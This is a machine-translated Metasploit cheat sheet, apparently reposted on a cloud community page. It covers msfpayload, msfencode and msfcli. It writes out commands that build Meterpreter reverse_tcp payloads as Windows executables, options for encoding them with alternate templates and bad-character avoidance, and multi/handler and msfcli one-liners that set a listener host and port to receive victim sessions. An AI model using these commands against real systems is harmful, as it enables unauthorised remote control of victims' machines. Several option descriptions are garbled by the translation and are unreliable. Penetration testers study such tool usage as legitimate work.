Metasploit Attack load independent encapsulation and coding

Source: Internet
Author: User

Package Attack payload
Msfpayload:
Usage:
Msfpayload [<options>] <payload> [Var=val] <[s]ummary| c| cs[h]arp| [p]erl| rub[y]| [r]aw| [j]s|e[x]e| [d]ll| V ba| [w]ar| Pytho[n]>
Summary:summary and Optons of payload
C:c language
Perl:perl
Ruby:ruby
Raw:raw,allows payload to being piped into msfencode and other tools
Js:javascript
Exe:windows Executable
Dll:dll
Vba:vba
War:war Package

Example
Msfpayload-l | grep Windows | grep reverse_tcp | grep Meterpreter
Msfpayload windows/meterpreter/reverse_tcp o:show Options
msfpayload [payload] X >xx.exe

Attack Load Code
Msfencode:
Usage:
Msfencode <options>
OPTIONS:
-A <opt> the architecture to encode as: which architecture code
-B <opt> The list of characters to avoid: ' \x00\xff ': Specify the characters to avoid
-C <opt> the number of times to encode the data: numbers encoded
-D <opt> Specify the directory in which to looking for EXE templates: Specify directories to search for EXE templates
-e <opt> The encoder to use: Encoder used
-H Help banner: helpful title
-I <opt> Encode the contents of the supplied file path: Encode the content of the files provided
-K Keep template working; Run payload in new thread (use With-x): Let the template continue to work;
-l list available encoders: List available encoders
-M <opt> specifies an additional module search path: Set up an additional template searching route
-N Dump Encoder information: Output encoder information
-o <opt> the output file: Export files
-P <opt> The platform to encode for: platform to encode
-S <opt> the maximum size of the encoded data: Maximum number of bytes encoded
-T <opt> the output format: Bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python, Raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,exe,exe-only,exe-service,exe-small,loop-vbs, Macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war
-V Increase verbosity: add verbose
-X <opt> Specify an alternate executable template: Specifying an alternate executable

Victim Session Receive
MSF > Use Exploit/multi/handler
MSF exploit (handler) > Set Payload windows/meterpreter/reverse_tcp
MSF exploit (handler) > set lhost x.x.x.x lport xxxx
MSF exploit (handler) > Exploit
[*] Started Reverse Handler on x.x.x.x:xxxx
[*] Starting the payload handler ...

You can also not open msfconsole, with MSFCLI
Usage:
MSFCLI <exploit_name> <option=value> [mode]
Mode Description
----           -----------
(A) dvanced Show available advanced options for this module shows the high-level option available
(AC) tions Show available actions for this auxiliary module shows the available behavior of the secondary modules
(C) Heck run the check routine of the selected module checks the operating history of the selected modules
(E) xecute Execute the selected module executes selected modules
(H) elp you ' re looking at it baby! Shing
(I) DS Evasion Show available IDs Evasion options for this module
(O) ptions Show available options for this module
(P) Ayloads Show available payloads for the This module
(S) Ummary Show information about the This module
(T) Argets Show available targets for this exploit module

Examples:
MSFCLI Multi/handler payload=windows/meterpreter/reverse_tcp Lhost=ip E
MSFCLI auxiliary/scanner/http/http_version rhosts=ip encoder= post= nop= E
MSFCLI exploit/multi/handler payload=windows/meterpreter/reverse_tcp lhost=10.0.0.1 LPORT=6555 E

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.